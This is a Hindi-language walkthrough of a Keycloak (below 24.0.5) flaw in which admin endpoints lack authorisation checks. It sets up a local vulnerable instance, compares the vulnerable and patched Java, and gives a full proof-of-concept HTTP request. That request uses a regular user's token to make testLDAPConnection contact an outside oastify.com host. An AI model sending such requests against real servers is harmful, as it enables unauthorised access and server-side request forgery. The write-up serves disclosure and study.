
Keycloak admin API कम विशेषाधिकार वाले उपयोगकर्ताओं को प्रशासनिक कार्यों का उपयोग करने की अनुमति देता है।
Keycloak < 24.0.5 ब्रोकन एक्सेस कंट्रोल भेद्यता के लिए संवेदनशील है, जहाँ हमलावर कोई भी प्रमाणित उपयोगकर्ता का उपयोग करके निम्नलिखित API क्रियाएँ कर सकता है:
testLDAPConnection एंडपॉइंट के माध्यम से LDAP कनेक्शन का परीक्षण करें। getUnmanagedAttributes एंडपॉइंट के माध्यम से किसी भी उपयोगकर्ता के अप्रबंधित गुण प्राप्त करें। getProviders एंडपॉइंट के माध्यम से क्लाइंट पंजीकरण नीति प्रदाताओं तक पहुँचें।
मुझे केवल testLDAPConnection दिलचस्प लगा जहाँ एक हमलावर किसी बाहरी होस्ट से LDAP के साथ इंटरैक्ट कर सकता है।
पहले KeyCloak 24.0.4 के संवेदनशील संस्करण को यहाँ से डाउनलोड करें https://www.keycloak.org/archive/downloads-24.0.4.html
फिर ज़िप फ़ाइल को निकालें और कमांड bin/kc.sh start-dev चलाएँ

अब यह localhost:8080 पर चलेगा, एक नया एडमिन खाता बनाएँ और फिर इस एडमिन खाते में लॉगिन करें
अब नियमित उपयोगकर्ताओं के लिए एक नया रियल्म बनाएँ, और फिर इस रियल्म में उपयोगकर्ता विशेषाधिकार के साथ एक उपयोगकर्ता बनाएँ

भेद्यता को ठीक करने वाली कमिट के आधार पर "Missing auth checks in some admin endpoints" https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1
हम पाते हैं कि तीन फ़ाइलें संशोधित की गई हैं:
TestLdapConnectionResource.java UserResource.java ClientRegistrationPolicyResource.java
TestLdapConnectionResource.java में कोड परिवर्तन का विश्लेषण:
(संवेदनशील कोड):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// अपवाद हैंडलिंग...
}
इसमें कोई अनुमति जाँच नहीं थी। कोई भी प्रमाणित उपयोगकर्ता testLDAPConnection को कॉल कर सकता था और LDAP परीक्षण कर सकता था, जो एक प्रशासनिक कार्रवाई है।
(पैच किया गया कोड):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
auth.realm().requireManageRealm(); // अनुमति जाँच जोड़ी गई
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// अपवाद हैंडलिंग...
}

auth.realm().requireManageRealm(); पंक्ति जोड़ी गई ताकि यह जाँचा जा सके कि उपयोगकर्ता के पास रियल्म में एडमिन अनुमतियाँ (manage_realm भूमिका) हैं या नहीं।
इसका मतलब है कि किसी भी रियल्म का कोई भी उपयोगकर्ता /admin/realms/users/testLDAPConnection पर अनुरोध भेज सकता है।
अब एक नए ब्राउज़र में लिंक खोलें http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console
आपके द्वारा बनाए गए उपयोगकर्ता से लॉगिन करें, फिर authorization: Bearer <> प्राप्त करें।
संवेदनशील एंडपॉइंट पर HTTP अनुरोध भेजें:
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close
{
"action": "testConnection",
"connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
"bindDn": "cn=admin,dc=example,dc=com",
"bindCredential": "password",
"useTruststoreSpi": "ldapsOnly",
"connectionTimeout": "5000"
}
पैरामीटर connectionUrl में अपना बाहरी होस्ट डालें और अनुरोध भेजें,
फिर आपको DNS इंटरैक्शन प्राप्त होगा

आप getUnmanagedAttributes और getProviders के साथ भी यही काम कर सकते हैं।
संदर्भ: https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc